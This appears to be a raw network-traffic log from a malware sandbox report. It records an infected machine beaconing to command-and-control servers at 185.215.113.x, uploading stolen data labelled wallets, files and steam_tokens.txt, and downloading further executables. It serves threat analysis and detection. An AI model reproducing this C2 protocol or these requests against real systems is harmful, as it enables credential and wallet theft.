Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file"------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 2d 2d 0d 0a Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="message"wallets------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"files------EBFBFBFIIJDAKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 2d 2d 0d 0a Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="message"ybncbhylepme------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBKKFBAEGDHJJJJKFBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001066001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 23 Oct 2024 22:45:40 GMTIf-None-Match: "67197c94-1b9c00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 31 30 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1001067001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001068001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="build"doma------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001069001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="build"doma------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build"doma------EHDHDHIECGCAEBFIIDHI--

IP address seen in connection with other malware

